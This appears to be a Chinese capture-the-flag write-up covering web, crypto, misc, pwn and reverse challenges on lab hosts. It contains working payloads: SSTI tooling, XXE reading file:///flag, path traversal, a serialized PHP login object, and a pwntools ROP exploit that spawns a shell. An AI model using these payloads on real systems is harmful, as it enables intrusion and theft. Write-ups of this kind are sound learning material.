前言
百万美元校外三血
AK WEB RE MISC方向
->Web方向
一个池子?
猜测SSTI
验证一下
确定为ssti漏洞
出的题很简单, 自从某场比赛ssti绕waf了一夜绕了出来,就再也没有难的ssti了
这题都不用手注 fenjing梭了…….
python -m fenjing crack -u http://node1.anna.nssctf.cn:28187/echo --method POST --inputs input --interval 0.01
百万美元的诱惑
三血
经典的绕过a不等于b 但a的md5必须和b的md5一样
比赛已经出现过很多次这样的题了
?a=QNKCDZO&b=s878926199a
下面一个c用2025e绕过
整体payload
?a=QNKCDZO&b=s878926199a&c=2025e
进入dollar.php
无数字无字母构造12
这里使用$(())构造
某show的相似题具体分析过程可看
这里构造12个 *13即可
get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))" # -1
payload = get_reverse_number.format(negative_one*13)
print(payload)
发送之后查看源代码
浏览器也能套娃
这里只能读取本地的 的url 猜测 SSRF
file:///flag
SAS – Serializing Authentication System
只需要username=admin password=secure_password让后base64序列化即可
<?php
class User {
public $username='admin';
public $password='secure_password';
function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
$a=new User("admin","secure_password");
$b=serialize($a);
$c=base64_encode($b);
echo $c;
?>
exx
查看源代码
xxe注入
账号密码登录之后bp抓一下包
替换一下post的内容
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>
高亮主题(划掉)背景查看器
尝试抓个包,看到
POST / HTTP/1.1
Host: node2.anna.nssctf.cn:28997
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: http://node2.anna.nssctf.cn:28997
Connection: close
Referer: http://node2.anna.nssctf.cn:28997/
Cookie:
Hm_lvt_648a44a949074de73151ffaa0a832aec=1715590891,1715596028,1715825320,1717205210
; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1717205210
Upgrade-Insecure-Requests: 1
Priority: u=1
theme=theme1.php
发现url请求被过滤..符号,但是这里还是可以进行文件读取,POST请求了theme=theme1.php
于是在此页面构造 theme=../../../../../flag,成功读取flag
->Crypto方向
CRT
观察脚本,发现可以利用广播攻击:
sage脚本
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
# 给定的模数 n 和密文列表 c_list n =
190411380939157573614465969176188364243212328104900874455580834466648946228827266
131542054359933586577117812757355594092748196188241730429805569860388954077580625
498196080546133073998384088678556236477513224141901741115235953701136647295944202
597548068346564904172921749943376836765043274931030185062429630636713156054278670
548735077203428500383075170166876594359745620249735317172747591935774505562928214
103882682433049967203373948297264536804327510929555755123725826246947092890194029
089864297091164415443323277389687854285016652548944446515476230085307083432106448
14773933974042816703834571427534684321229977525229
c_list = [
438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,
1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,
970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,
1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125
]
# 解密函数
def decrypt_rsa_low_exponent(c_list, n): decrypted_message = ''
for c in c_list:
# 利用立方根求解
m, exact = iroot(c, 3) if exact:
decrypted_message += long_to_bytes(m).decode('utf-8') else:
raise ValueError("无法解密!")
return decrypted_message
# 解密密文列表
try:
flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag)
except ValueError as e: print(e)
small_e
使用低指数攻击来解密提供的密文
列表c_List。直接求每个密文的立方根,转换为字符来得到flag
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
# 给定的模数 n 和密文列表 c_list
n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229
c_list = [
438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,
1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,
970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,
1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125
]
# 解密函数
def decrypt_rsa_low_exponent(c_list, n):
decrypted_message = ''
for c in c_list:
# 利用立方根求解
m, exact = iroot(c, 3)
if exact:
decrypted_message += long_to_bytes(m).decode('utf-8')
else:
raise ValueError("无法解密!")
return decrypted_message
# 解密密文列表
try:
flag = decrypt_rsa_low_exponent(c_list, n)
print("Decrypted message:", flag)
except ValueError as e:
print(e)
common_primes
共模攻击
两个RSA公钥模数和共享一个质因数 ,破解原密文整体思路:
通过计算两个给定模数 和 的最大公因数,找到它们的共享质因数
使用共享质因数分解和 ,得到另外两个质因数和
使用欧拉的 函数计算和的值这是后续计算私钥指数所需的中间值
通过计算公钥指数 在模和下的模反元素,得到私钥指数和
使用得到的私钥指数和,对相应的密文 和 进行解密,得到明文和
将解密得到的长整数转换为字节数组,解码为字符串 如果两个解密后的消息相同,输出解码后的 flag
脚本
from Crypto.Util.number import long_to_bytes, inverse
from sympy import gcd
# 给定的模数和密文
n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420
e = 65537
# 计算共享质因数 p
p = int(gcd(n1, n2))
# 计算 q1 和 q2
q1 = n1 // p
q2 = n2 // p
# 计算 phi(n1) 和 phi(n2)
phi_n1 = (p - 1) * (q1 - 1)
phi_n2 = (p - 1) * (q2 - 1)
# 计算 d1 和 d2
d1 = inverse(e, phi_n1)
d2 = inverse(e, phi_n2)
# 解密消息 m1 和 m2
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
# 将解密后的长整数转换回字节
flag1 = long_to_bytes(m1)
flag2 = long_to_bytes(m2)
# 打印解密后的消息
print("Decrypted message from c1:", flag1)
print("Decrypted message from c2:", flag2)
# 打印解密后的消息中的 flag(假设 flag 存在于其中之一)
if flag1 == flag2:
print("Flag:", flag1.decode())
else:
print("Flag from c1:", flag1.decode())
print("Flag from c2:", flag2.decode())
common_primes_plus
思路还是基于共模攻击,该攻击使用了两个 RSA 公钥(模数 n1 和 n2)共享的质因数 p。共享质因数的存在可以推导出 RSA 私钥并解密消息
from Crypto.Util.number import long_to_bytes, inverse
from sympy import gcd
# 已知值
n1 = 72619153900682160072296441595808393095979917106156741746523649725579328293061366133340736822282117284050717527134297532031234706715551253283030119063143935874516054785948327252045453986903379262257406260016876625891582923191913450785482873961282498295762698500898694660964018533698142756095427829906473038053
hint1 = 115150932086321440397498980975794957800400136337062771258224890596200580556053305338941267789684878816176014493153795643655219028833232337281425177163963414534998897852644398384446019097451620742463880027107068960452304016955877225140421899265978792650445328111566277376529454404089066088845864500514742797060500618255170627
hint2 = 166820160267525807953634213157298160399912450930658918773153592459310847514047652216110562360456335336533080444219104489314586122760398361430693763814336759476811490524054588094610387417965626546375189720748660483054863693527537614055954695966458622029711055735399842018236940424665041143785192280089418185085532002136215976
c = 28378912671104261862184597375842174085651209464660064937481961814538145807266472966765374317717522401362019901110151858589886717440587644003368826809403188935808872400614919296641885383025657934630410406898092262104442977722339379234085663757182028529198392480656965957860644395092769333414671609962801212632
e = 65537
# 通过 GCD 求得 p
p = gcd(hint1, hint2)
if p == 1:
raise ValueError("Common factor p could not be found from given hints.")
# 计算 q1
q1 = n1 // p
# 计算 phi(n1)
phi_n1 = (p - 1) * (q1 - 1)
# 将 phi_n1 转换为标准整数
phi_n1 = int(phi_n1)
# 计算私钥指数 d1
d1 = inverse(e, phi_n1)
# 解密消息 m
m = pow(c, d1, n1)
# 将解密后的长整数转换回字节
flag = long_to_bytes(m)
# 打印解密后的消息
print("Decrypted message:", flag.decode())
Polynomial
下载附件
根据代码分析,这个CTF题目涉及基于一个使用了三个素数的RSA加密系统。通常的RSA加密系统使用两个素数(p
和 q
)来计算模数 n
,但在这个题目中,模数 n
是由三个素数 (p
, q
和 r
) 相乘得到的。我们的任务就是根据给定的多项式方程组和加密密文来解密消息
第一步:使用给定的多项式方程组,建立三个关于素数 p
、q
和 r
的方程,通过求解这些方程来获取素数的值
第二步:使用求得的三个素数 p
、q
和 r
,计算出模数 n
,φ(n)
是欧拉函数,计算方式为 (p-1)*(q-1)*(r-1)
,其中 p
、q
和 r
是解密过程中求得的素数
第三步:使用模反元素公式计算私钥 d
: d ≡ e^(-1) (mod φ(n))
,其中 e
是公钥的指数,一般默认值为 65537
第四步:使用私钥 d
和 RSA 解密公式 m ≡ c^d (mod n)
,得到解密后的消息 m
最后将解密出的长整数消息 m
转换为字节,并尝试解码为可读的文本
# 导入必要的库
from Cryptodome.Util.number import long_to_bytes, inverse
from sympy import symbols, solve
# 给定的多项式方程的常数项
Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142
Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760
Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832
# 加密消息
c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900
# 求解多项式方程,得到 p, q, r 的值
p, q, r = symbols('p q r', integer=True) # 定义符号 p, q, r 为整数
eq1 = p**2 + q - Polynomial1 # 定义第一个多项式方程
eq2 = q**2 + r - Polynomial2 # 定义第二个多项式方程
eq3 = r**2 + p - Polynomial3 # 定义第三个多项式方程
solutions = solve((eq1, eq2, eq3), (p, q, r)) # 求解方程组,得到 p, q, r 的解
# 选择合适的解
for solution in solutions:
p = int(solution[0])
q = int(solution[1])
r = int(solution[2])
if p*q*r < c: # 验证解的正确性
break
# 计算模数 n 和欧拉函数 φ(n)
n = p * q * r # 计算模数 n
phi = (p-1)*(q-1)*(r-1) # 计算欧拉函数 φ(n)
# 设置公钥指数和计算私钥
e = 65537 # 一般情况下,公钥指数 e 默认为 65537
d = inverse(e, phi) # 计算私钥 d
# 使用私钥解密密文
m = pow(c, d, n) # 使用 d 解密加密消息 c,得到原始消息 m
# 将解密后的长整数转换为字节数据
flag = long_to_bytes(m)
# 处理并输出解密后的消息
# 方法1:尝试使用 ISO-8859-1 编码解码
try:
print("Flag (ISO-8859-1):", flag.decode('ISO-8859-1'))
except UnicodeDecodeError as e:
print("Unicode Decode Error (ISO-8859-1):", e)
# 方法2:输出原始字节数据
print("Flag (raw bytes):", flag)
# 方法3:忽略错误并尝试使用 UTF-8 编码解码
try:
print("Flag (UTF-8, ignore errors):", flag.decode('utf-8', errors='ignore'))
except UnicodeDecodeError as e:
print("Unicode Decode Error (UTF-8):", e)
得到flag
->Misc方向
涐贪恋和伱、甾―⑺dé毎兮毎秒
下载附件,看到图片,使用Stegsolve打开,提取LSB最低有效位
看到flag,可以使用 Save Bin保存到txt里面,然后打开
你说得对,但__
下载附件解压里面有一个png文件,使用Binwalk分离,得到四张图片,分别是二维码的四个部分
经过PS的拼接,得到完整的二维码
扫描二维码,得到flag
LitCTF{Genshin_St@rt!!}
盯帧珍珠
在虚拟机里 用file命令发现是gif图片,改后缀为.gif
puzzlesolver分帧
逐个查看得到flag
原铁启动
网上找文章发现
flag{good_
后半段是另一种密文
gamer}
拼到一起得到flag
The love
把图片托进010
尾部发现Lit字样 还有一个压缩包
分离出来,发现要密码 进行掩码攻击
得到一个flag.txt是fake
password.txt进行base64解码两次
再看音频
deepsound输入刚刚的base64结果 得到flag文件
Everywhere We Go
下载附件打开,有一段mp3的音频,使用Audacity打开查看频谱,放大时间轴,即可看到flag
关键,太关键了!
下载附件,查看到两个文件,打开key.txt,根据提示想到字频统计
使用PuzzleSolver工具字频统计(也可以用在线网站或者其他工具)
猜测bingo即是一个密码,在flag.txt中,有一段类似flag 的字符串,使用随波逐流工具加上密码bingo,即可爆出flag
发现是Keyword密码,替换为小写并且更换为LitCTF{}包裹即可提交
舔到最后应有尽有
打开文件怀疑是base64隐写,puzzleSolver一把梭
女装照流量
逐个流量分析,发现传马了
发现是蚁剑流量
先导出所有http对象,保存起来,发现ma(19).php有pk字样,放到010里 删除第一个pk起那面的字符.然后保存为zip后缀
接着分析流量
先url解码
进行base64解码时发现不对,仔细观察代码发现
红框里面的代码时重第三个字符开始,我们要把前2个字符给删掉,然后进行base64 找到关键代码.
压缩包密码是PaSsw0rd_LitCtF_L0vely_tanJi 解开压缩包
->PWN方向
ATM
在case3中有代码逻辑错误,因为nbyte是个字符串类型,不管输入多少,nbtyes相加的值的都是nptr的地址 低4字节,这里可以通过控制case3的次数,从而使的nbyte即余额变得很大
在case5处泄露了libc地址,并且读入nbytes字节的值,会造成栈溢出,覆盖返回地址,调用libc中system函 数拿到shell
脚本如下:
from pwn import *
from LibcSearcher import *
#io=process('./app') #io=remote("node3.anna.nssctf.cn","28377")
io=remote("node1.anna.nssctf.cn",28654) io.recvuntil(b'password:') io.sendline(b'1')
for i in range(10):
io.recvuntil(b'4.Exit')
io.sendline(b'3')
io.recvuntil(b'deposit:')
io.sendline(b'1')
io.recvuntil(b'4.Exit')
io.sendline(b'1')
io.recvuntil(b'Your balance is:')
n=int(io.recvuntil(b'$')[:-1])
print(n)
if n > 0:
break
io.recvuntil(b'4.Exit')
io.sendline(b'5')
io.recvuntil(b'0x')
leak=int(io.recv(12),16)
print(hex(leak))
libc=LibcSearcher('printf',leak)
libc_base=leak-libc.dump('printf') system=libc.dump('system')+libc_base bin_sh=libc.dump('str_bin_sh')+libc_base
pop_rdi=0x00401233 #: pop rdi ; re
ret=0x40147D payload=b'a'*0x168+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) #gdb.attach(io)
io.sendline(payload)
io.sendline(b'4')
io.interactive()
->REVERSE方向
编码喵
c++的逆向
换表base64,直接解密即可
ezrc4
初始化s盒
rc4加密
最后与buf处数据进行比较
这里fenkey解密出来的是乱码
发现有函数对key进行了异或操作,写个脚本异或回来
key='fenkey?'
key1=[0x0a,0x0c,0x1a,0x8,0x11,0x1f,0x1e,0x0] ret=""
for i in range(len(key)):
a=ord(key[i])
a^=key1[i]
ret+=chr(a)
print(ret)
得到真正的key
最后rc4解密即可拿到flag
hello_upx
查壳存在upx
直接用upx脱壳失败
用010查看一下文件
发现upx标志位被修改了
修改回来再进行脱壳
ida打开,发现对flag ascii值进行了加减操作,修改回来即可
解密脚本
enc=[
0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70,0x2B, 0x63, 0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E, 0x60, 0x4E, 0x5E, 0x4F,101]
flag=''
for i in range(len(enc)):
flag+=chr(enc[i]+i)
print(flag)
ez_python
python打包的exe文件
用pyinstxtractor脚本提取出来 https://github.com/extremecoders-re/pyinstxtractor
注意这里文件是python3.11,也要把自己python环境切换到python11不然不会提取库文件 得到pyc文件
反编译成python代码
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.11
import Litctfbase64
flag = input('flag:')
flag = Litctfbase64.b64decode(flag)
if flag == 'X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==':
print('win')
return None
print('no')
导入了自定义库,这个库在这个文件夹里
换表base64
- 最新
- 最热
只看作者